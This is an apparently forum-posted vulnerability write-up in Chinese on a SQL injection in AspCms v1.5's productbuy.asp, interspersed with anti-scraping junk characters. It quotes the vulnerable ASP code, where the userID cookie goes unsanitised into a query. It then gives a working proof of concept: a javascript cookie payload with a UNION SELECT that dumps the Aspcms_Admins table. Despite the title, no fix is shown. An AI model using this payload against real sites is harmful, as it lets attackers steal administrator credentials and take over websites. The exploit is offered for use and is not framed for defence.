AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
7 f3 M' [  z% ?5 Y& O8 x也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
: d" o& s# [4 v8 p6 S3 ~/ g& }废话不多说，看代码：

0 \: D; Z- k6 T( v( V<%

if action = "buy" then

        addOrder()

& D0 I4 K9 a' o! }1 _; ^# Z; Oelse
; c3 Y: l2 `& b8 K* |% C* X& W/ b
        echoContent()

end if
/ G4 q# O7 g$ e. g+ {) D, v
$ _6 @5 t; H5 i
! Y! x" c* y+ J' I, ^( R
……略过
2 n8 f1 j" O% O2 L0 m


2 [2 k& ?% b9 s" mSub echoContent()

; Q( N* _: {# q6 V" B$ A        dim id

        id=getForm("id","get")

1 p' G7 p# t: }' D        
$ ~. T. ^+ ^" R9 _6 G; e
1 T6 U$ [# m: m% c+ f        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
  T* e* }" u- ^( j: k& n- z1 f
# J" n; K1 z; v! q3 B; O        
: f& {2 f# }3 T6 [5 I
+ W% ]3 {, S  L8 L        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")

2 P4 b( X4 N( w$ n0 g1 S1 D' a        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
  a% f( G# O' O1 f7 D' b
& j! B6 W  C- E" }6 l% ^, `: s        Dim templatePath,tempStr
: \* R* f" s5 H  I5 c7 W2 ]# T6 h
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"

; u4 y0 ]1 u& u/ }" K

        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
7 Z( @5 Y2 A6 F: X9 i
        selectproduct=rsObj(0)
, K7 q& ?. i$ N: v/ b
        
/ f) S9 n" W5 A! K
) c. C- h8 G$ J& j/ x        Dim linkman,gender,phone,mobile,email,qq,address,postcode

        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
' v* K9 B9 n* g
, {. O: y) \: }0 C) I, e/ a        if rCookie("loginstatus")=1 then  

                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
& P/ @0 U. h9 x  k
                linkman=rsObj("truename")
! B/ f* v: f+ ?' ?) h
& d6 G2 O: b& V0 }2 f: F                gender=rsObj("gender")
8 W# V) d8 H. A4 c  ]: v7 \. V
' A- {! s: b: r* a6 X+ B                phone=rsObj("phone")

  D+ M. ~5 b  o                mobile=rsObj("mobile")

                email=rsObj("email")

$ x/ |' V4 N- T/ o! c) j8 k                qq=rsObj("qq")

* S+ U2 h9 s' J4 F$ U                address=rsObj("address")

                postcode=rsObj("postcode")

        else

$ r4 V" k4 W. H. Q3 q& I7 @                gender=1

& U" D! ~2 o9 c+ o/ i' R2 T' j; d" ]        end if

        rsObj.close()
2 N1 v8 n" t/ Q9 [6 s$ o( {
               
5 i( F5 H+ d0 [# f9 m
        with templateObj
/ z" x) p/ `+ y# g4 n
3 \1 [3 A) A7 ?/ x5 h$ A                .content=loadFile(templatePath)        

, ^6 ?/ v% q( O3 x0 K$ g                .parseHtml()
; ^1 o' M( P1 W" R- W% W
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)

7 h) k; `0 A! f% D                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
& j1 Y( V( e" ~6 w& o. F
                .content=replaceStr(.content,"[aspcms:gender]",gender)               
3 O  H" w% `7 @) @4 e9 z
                .content=replaceStr(.content,"[aspcms:phone]",phone)               
* {! h, e9 ?6 N) [# w
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

                .content=replaceStr(.content,"[aspcms:email]",email)                        

5 t* J! G( Y8 v* c5 r0 }                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
: U3 O6 N- Y2 {
6 [; ]/ L+ Y4 o6 M  E1 ^                .content=replaceStr(.content,"[aspcms:address]",address)                        
) K3 M9 ~1 d( \% S
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
2 U: G& k: n" a  S
                .parseCommon()                 

: W" L( a/ j" ]                echo .content

        end with

0 V& J. I. \& M- T: N        set templateobj =nothing : terminateAllObjects
$ \1 p, t# x4 j$ I. i
1 ]8 |* ~( L9 C( C0 WEnd Sub
" E) n" M, D. `$ X0 Q漏洞很明显，没啥好说的
poc：
; Y( h5 h/ ^: M$ o4 E
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​